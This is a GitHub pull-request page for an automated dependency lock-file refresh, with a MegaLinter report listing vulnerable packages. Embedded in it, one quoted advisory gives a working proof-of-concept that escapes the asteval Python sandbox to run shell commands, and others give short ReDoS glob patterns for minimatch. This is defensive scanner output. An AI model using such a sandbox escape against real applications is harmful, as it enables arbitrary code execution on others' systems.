Skip to content

chore(deps): lock file maintenance#635

Open
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/lock-file-maintenance
Open

chore(deps): lock file maintenance#635
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/lock-file-maintenance

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Mar 2, 2026

This PR contains the following updates:

Update Change
lockFileMaintenance All locks refreshed

🔧 This Pull Request updates lock files to use the latest dependency versions.


Configuration

📅 Schedule: Branch creation - Between 12:00 AM and 03:59 AM, only on Monday ( * 0-3 * * 1 ) (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot requested a review from chgl as a code owner March 2, 2026 01:21
renovate-approve-2[bot]
renovate-approve-2 bot previously approved these changes Mar 2, 2026
renovate-approve[bot]
renovate-approve bot previously approved these changes Mar 2, 2026
@github-actions
Copy link

github-actions bot commented Mar 2, 2026

⚠️MegaLinter analysis: Success with warnings

Descriptor Linter Files Fixed Errors Warnings Elapsed time
✅ ACTION actionlint 4 0 0 0.05s
✅ BASH bash-exec 4 0 0 0.03s
✅ BASH shellcheck 4 0 0 0.27s
✅ BASH shfmt 4 0 0 0.01s
✅ DOCKERFILE hadolint 1 0 0 1.56s
✅ EDITORCONFIG editorconfig-checker 50 0 0 0.05s
✅ JSON jsonlint 4 0 0 0.19s
✅ JSON npm-package-json-lint yes no no 0.58s
✅ JSON prettier 4 0 0 0.53s
✅ JSON v8r 4 0 0 8.42s
⚠️ MARKDOWN markdownlint 5 9 0 0.81s
✅ REPOSITORY checkov yes no no 41.33s
✅ REPOSITORY devskim yes no no 2.03s
✅ REPOSITORY gitleaks yes no no 0.79s
✅ REPOSITORY git_diff yes no no 0.01s
⚠️ REPOSITORY grype yes 8 2 46.22s
✅ REPOSITORY kics yes no no 14.11s
✅ REPOSITORY secretlint yes no no 2.12s
✅ REPOSITORY syft yes no no 3.13s
⚠️ REPOSITORY trivy yes 8 2 13.21s
✅ REPOSITORY trivy-sbom yes no no 0.62s
✅ REPOSITORY trufflehog yes no no 3.95s

Detailed Issues

⚠️ REPOSITORY / grype - 8 errors
warning: A medium vulnerability in github-action package: aquasecurity/trivy-action, version 0.33.1 was found at: /.github/workflows/daily-trivy-scan.yaml

error: A high vulnerability in npm package: minimatch, version 10.1.3 was found at: /package-lock.json

error: A high vulnerability in npm package: minimatch, version 10.1.3 was found at: /package-lock.json

error: A high vulnerability in npm package: minimatch, version 10.1.3 was found at: /package-lock.json

error: A high vulnerability in python package: asteval, version 1.0.5 was found at: /requirements.txt

error: A high vulnerability in python package: urllib3, version 1.26.20 was found at: /requirements.txt

error: A high vulnerability in python package: urllib3, version 1.26.20 was found at: /requirements.txt

error: A high vulnerability in python package: urllib3, version 1.26.20 was found at: /requirements.txt

warning: A medium vulnerability in python package: urllib3, version 1.26.20 was found at: /requirements.txt

error: A high vulnerability in python package: asteval, version 1.0.5 was found at: /requirements.txt

warning: 2 warnings emitted
error: 8 errors emitted
⚠️ MARKDOWN / markdownlint - 9 errors
samples/charts/sample/README.md:5:9 MD026/no-trailing-punctuation Trailing punctuation in heading [Punctuation: ';']
samples/charts/sample/README.md:8:1 MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm repo add chgl https://c..."]
samples/charts/sample/README.md:9:1 MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm repo update"]
samples/charts/sample/README.md:10:1 MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm search repo chgl/sample..."]
samples/charts/sample/README.md:11:1 MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm upgrade -i sample chgl/..."]
samples/charts/sample/README.md:28:1 MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm upgrade -i sample chgl/..."]
samples/charts/sample/README.md:40:1 MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm uninstall sample -n sam..."]
samples/charts/sample/README.md:90:1 MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm upgrade -i sample chgl/..."]
samples/charts/sample/README.md:97:1 MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm upgrade -i sample chgl/..."]
⚠️ REPOSITORY / trivy - 8 errors
error: Package: minimatch
Installed Version: 10.1.3
Vulnerability CVE-2026-26996
Severity: HIGH
Fixed Version: 10.2.1, 9.0.6, 8.0.5, 7.4.7, 6.2.1, 5.1.7, 4.2.4, 3.1.3
Link: [CVE-2026-26996](https://avd.aquasec.com/nvd/cve-2026-26996)
    ┌─ package-lock.json:929:1
    │  
929 │ ╭     "node_modules/minimatch": {
930 │ │       "version": "10.1.3",
931 │ │       "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.1.3.tgz",
932 │ │       "integrity": "sha512-IF6URNyBX7Z6XfvjpaNy5meRxPZiIf2OqtOoSLs+hLJ9pJAScnM1RjrFcbCaD85y42KcI+oZmKjFIJKYDFjQfg==",
    · │
942 │ │       }
943 │ │     },
    │ ╰^
    │  
    = minimatch: minimatch: Denial of Service via specially crafted glob patterns
    = minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Versions 10.2.0 and below are vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits. The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever. Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This issue has been fixed in version 10.2.1.

error: Package: minimatch
Installed Version: 10.1.3
Vulnerability CVE-2026-27903
Severity: HIGH
Fixed Version: 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, 3.1.3
Link: [CVE-2026-27903](https://avd.aquasec.com/nvd/cve-2026-27903)
    ┌─ package-lock.json:929:1
    │  
929 │ ╭     "node_modules/minimatch": {
930 │ │       "version": "10.1.3",
931 │ │       "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.1.3.tgz",
932 │ │       "integrity": "sha512-IF6URNyBX7Z6XfvjpaNy5meRxPZiIf2OqtOoSLs+hLJ9pJAScnM1RjrFcbCaD85y42KcI+oZmKjFIJKYDFjQfg==",
    · │
942 │ │       }
943 │ │     },
    │ ╰^
    │  
    = minimatch: minimatch: Denial of Service due to unbounded recursive backtracking via crafted glob patterns
    = minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3, `matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Any application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3 fix the issue.

error: Package: minimatch
Installed Version: 10.1.3
Vulnerability CVE-2026-27904
Severity: HIGH
Fixed Version: 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, 3.1.4
Link: [CVE-2026-27904](https://avd.aquasec.com/nvd/cve-2026-27904)
    ┌─ package-lock.json:929:1
    │  
929 │ ╭     "node_modules/minimatch": {
930 │ │       "version": "10.1.3",
931 │ │       "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.1.3.tgz",
932 │ │       "integrity": "sha512-IF6URNyBX7Z6XfvjpaNy5meRxPZiIf2OqtOoSLs+hLJ9pJAScnM1RjrFcbCaD85y42KcI+oZmKjFIJKYDFjQfg==",
    · │
942 │ │       }
943 │ │     },
    │ ╰^
    │  
    = minimatch: Minimatch: Denial of Service via catastrophic backtracking in glob expressions
    = minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.4, nested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.4 fix the issue.

error: Package: asteval
Installed Version: 1.0.5
Vulnerability CVE-2025-24359
Severity: HIGH
Fixed Version: 1.0.6
Link: [CVE-2025-24359](https://avd.aquasec.com/nvd/cve-2025-24359)
    ┌─ requirements.txt:149:1
    │
149 │ asteval==1.0.5 \
    │ ^
    │
    = ASTEVAL is an evaluator of Python expressions and statements. Prior to ...
    = ASTEVAL is an evaluator of Python expressions and statements. Prior to version 1.0.6, if an attacker can control the input to the `asteval` library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library. The vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the `on_formattedvalue` value uses the dangerous format method of the str class. The code allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties. Version 1.0.6 fixes this issue.

error: Package: asteval
Installed Version: 1.0.5
Vulnerability GHSA-vp47-9734-prjw
Severity: HIGH
Fixed Version: 1.0.6
Link: [GHSA-vp47-9734-prjw](https://github.com/advisories/GHSA-vp47-9734-prjw)
    ┌─ requirements.txt:149:1
    │
149 │ asteval==1.0.5 \
    │ ^
    │
    = ASTEVAL Allows Malicious Tampering of Exposed AST Nodes Leads to Sandbox Escape
    = ### Summary
      If an attacker can control the input to the asteval library, they can bypass its safety restrictions and execute arbitrary Python code within the application's context.
      
      ### Details
      The vulnerability is rooted in how `asteval` performs attribute access verification. In particular, the [`on_attribute`](https://github.com/lmfit/asteval/blob/8d7326df8015cf6a57506b1c2c167a1c3763e090/asteval/asteval.py#L565) node handler prevents access to attributes that are either present in the `UNSAFE_ATTRS` list or are formed by names starting and ending with `__`, as shown in the code snippet below:
      
      ```py
          def on_attribute(self, node):    # ('value', 'attr', 'ctx')
              """Extract attribute."""
      
              ctx = node.ctx.__class__
              if ctx == ast.Store:
                  msg = "attribute for storage: shouldn't be here!"
                  self.raise_exception(node, exc=RuntimeError, msg=msg)
      
              sym = self.run(node.value)
              if ctx == ast.Del:
                  return delattr(sym, node.attr)
              #
              unsafe = (node.attr in UNSAFE_ATTRS or
                       (node.attr.startswith('__') and node.attr.endswith('__')))
              if not unsafe:
                  for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items():
                      unsafe = isinstance(sym, dtype) and node.attr in attrlist
                      if unsafe:
                          break
              if unsafe:
                  msg = f"no safe attribute '{node.attr}' for {repr(sym)}"
                  self.raise_exception(node, exc=AttributeError, msg=msg)
              else:
                  try:
                      return getattr(sym, node.attr)
                  except AttributeError:
                      pass
      ```
      
      While this check is intended to block access to sensitive Python dunder methods (such as `__getattribute__`), the flaw arises because instances of the `Procedure` class expose their AST (stored in the `body` attribute) without proper protection:
      
      ```py
      class Procedure:
          """Procedure: user-defined function for asteval.
      
          This stores the parsed ast nodes as from the 'functiondef' ast node
          for later evaluation.
      
          """
      
          def __init__(self, name, interp, doc=None, lineno=0,
                       body=None, args=None, kwargs=None,
                       vararg=None, varkws=None):
              """TODO: docstring in public method."""
              self.__ininit__ = True
              self.name = name
              self.__name__ = self.name
              self.__asteval__ = interp
              self.raise_exc = self.__asteval__.raise_exception
              self.__doc__ = doc
              self.body = body
              self.argnames = args
              self.kwargs = kwargs
              self.vararg = vararg
              self.varkws = varkws
              self.lineno = lineno
              self.__ininit__ = False
      ```
      
      Since the `body` attribute is not protected by a naming convention that would restrict its modification, an attacker can modify the AST of a `Procedure` during runtime to leverage unintended behaviour.
      
      The exploit works as follows:
      
      1. **The Time of Check, Time of Use (TOCTOU) Gadget:**
      
         In the [code](https://github.com/lmfit/asteval/blob/8d7326df8015cf6a57506b1c2c167a1c3763e090/asteval/asteval.py#L577) below, a variable named `unsafe` is set based on whether `node.attr` is considered unsafe:
      
         ```python
         unsafe = (node.attr in UNSAFE_ATTRS or
                   (node.attr.startswith('__') and node.attr.endswith('__')))
         ```
      
      2. **Exploiting the TOCTOU Gadget:**
      
         An attacker can abuse this gadget by hooking any `Attribute` AST node that is not in the `UNSAFE_ATTRS` list. The attacker modifies the `node.attr.startswith` function so that it points to a custom procedure. This custom procedure performs the following steps:
         
         - It replaces the value of `node.attr` with the string `"__getattribute__"` and returns `False`.
         - Thus, when `node.attr.startswith('__')` is evaluated, it returns `False`, which causes the condition to short-circuit and sets `unsafe` to `False`.
         - However, by that time, `node.attr` has been changed to `"__getattribute__"`, which will be used in the subsequent `getattr(sym, node.attr)` call. An attacker can then use the obtained reference to `sym.__getattr__`to retrieve malicious attributes without needing to pass the `on_attribute` checks.
      
      ### PoC
      The following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the `whoami` command on the host machine:
      
      ```py
      from asteval import Interpreter
      aeval = Interpreter()
      code = """
      ga_str = "__getattribute__"
      def lender():
          a
          b
      def pwn():
          ga = lender.dontcare
          init = ga("__init__")
          ga = init.dontcare
          globals = ga("__globals__")
          builtins = globals["__builtins__"]
          importer = builtins["__import__"]
          importer("os").system("whoami")
      
      def startswith1(str):
          # Replace the attr on the targeted AST node with "__getattribute__"
          pwn.body[0].value.attr = ga_str
          return False    
      
      def startswith2(str):
          pwn.body[2].value.attr = ga_str
          return False    
      
      n1 = lender.body[0]
      n1.startswith = startswith1
      pwn.body[0].value.attr = n1
      
      n2 = lender.body[1]
      n2.startswith = startswith2
      pwn.body[2].value.attr = n2
      
      pwn()
      """
      aeval(code)
      ```

error: Package: urllib3
Installed Version: 1.26.20
Vulnerability CVE-2025-66418
Severity: HIGH
Fixed Version: 2.6.0
Link: [CVE-2025-66418](https://avd.aquasec.com/nvd/cve-2025-66418)
     ┌─ requirements.txt:1700:1
     │
1700 │ urllib3==1.26.20 \
     │ ^
     │
     = urllib3: urllib3: Unbounded decompression chain leads to resource exhaustion
     = urllib3 is a user-friendly HTTP client library for Python. Starting in version 1.24 and prior to 2.6.0, the number of links in the decompression chain was unbounded allowing a malicious server to insert a 

(Truncated to 13333 characters out of 18094)

See detailed reports in MegaLinter artifacts

You could have the same capabilities but better runtime performances if you use a MegaLinter flavor:

Your project could benefit from a custom flavor, which would allow you to run only the linters you need, and thus improve runtime performances. (Skip this info by defining FLAVOR_SUGGESTIONS: false)

  • Documentation: Custom Flavors
  • Command: npx mega-linter-runner@9.2.0 --custom-flavor-setup --custom-flavor-linters ACTION_ACTIONLINT,BASH_EXEC,BASH_SHELLCHECK,BASH_SHFMT,DOCKERFILE_HADOLINT,EDITORCONFIG_EDITORCONFIG_CHECKER,JSON_JSONLINT,JSON_V8R,JSON_PRETTIER,JSON_NPM_PACKAGE_JSON_LINT,MARKDOWN_MARKDOWNLINT,REPOSITORY_CHECKOV,REPOSITORY_DEVSKIM,REPOSITORY_GIT_DIFF,REPOSITORY_GITLEAKS,REPOSITORY_GRYPE,REPOSITORY_KICS,REPOSITORY_SECRETLINT,REPOSITORY_SYFT,REPOSITORY_TRIVY,REPOSITORY_TRIVY_SBOM,REPOSITORY_TRUFFLEHOG

MegaLinter is graciously provided by OX Security

@renovate renovate bot force-pushed the renovate/lock-file-maintenance branch from a8c70b3 to 6fb85a0 Compare March 5, 2026 20:38
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants